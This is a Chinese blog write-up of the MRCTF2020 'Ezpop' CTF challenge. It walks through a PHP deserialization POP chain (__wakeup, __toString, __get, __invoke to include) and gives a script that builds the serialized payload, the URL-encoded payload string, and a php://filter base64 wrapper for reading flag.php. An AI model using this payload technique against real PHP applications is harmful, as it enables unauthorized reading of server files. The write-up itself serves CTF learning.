[BUUCTF题解][MRCTF2020]Ezpop 1

题目Ezpop说明了该题的考点(博主写完之后参考其他博客时才发现这里的pop其实有特殊含义),这里引用下其他博主的解释:

(原文链接:https://blog.csdn.net/weixin_45785288/article/details/109877324)

这个题目就是关于这个POP的一个具体题目场景,做题时就可以大概感受POP是如何发挥作用的。

打开页面,直接明了的给出了源码和目标——flag.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

 从非定义部分的代码开始审查。

在传入参数pop被设置时对其进行反序列化,那么再查看此前定义的类中哪些具有和反序列化相关的魔术方法,调用这些魔术方法中设置的代码,就可以执行此处反序列化之外更多的代码,从而实现我们读取flag.php中flag的要求。

Modifier类中append()方法会将传入参数包含,而此处魔术方法__invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数,所以在这里需要让属性var的值为flag.php,再触发魔术方法__invoke即可。魔术方法__invoke被自动调用的条件是类被当成一个函数被调用,故接着来寻找和函数调用有关的代码。

在Test类中有两个魔法函数__construct和__get,但魔法函数__construct这里用不上只需要关注魔法函数__get就好。魔法函数__get中设置了属性p会被当做函数调用,刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可,魔法函数__get会在访问类中一个不存在的属性时自动调用,那就需要寻找和调用属性相关的代码。

Show类中有三个魔术方法,同样魔术方法__construct这里也用不上,在魔术方法__toString中会返回属性str中的属性source,如果刚刚提到的source属性不存在,那么就符合了Test类中的要求,那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用,在魔术方法__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。这样从Test类中append()方法到Show类中的魔术方法__wakup就形成了一条调用链,这就是POP的一个使用样例,而题目——Ezpop就说明了这题设计的知识。(

综上所述,一次经历了如下过程:

反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)

最终payload代码如下(删去了源码中一些不必要的部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Modifier {
    protected  $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$b= new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a)); #因为Modifier类中的属性varprotected,将序列化后结果进行URL编码后可省略考虑不可见字符直接复制而丢失#结果为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D?>

但是直接包含flag.php得不到flag,需要读取flag.php的源码,直接包含只能见到如下内容。

 

那用伪协议来读取flag.php源码即可,这里将Modifier类的属性var的值替换掉。

1
protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

对获得的内容base64解密即可获得flag。

 

posted @   Article_kelp  阅读(3035)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示
主题色彩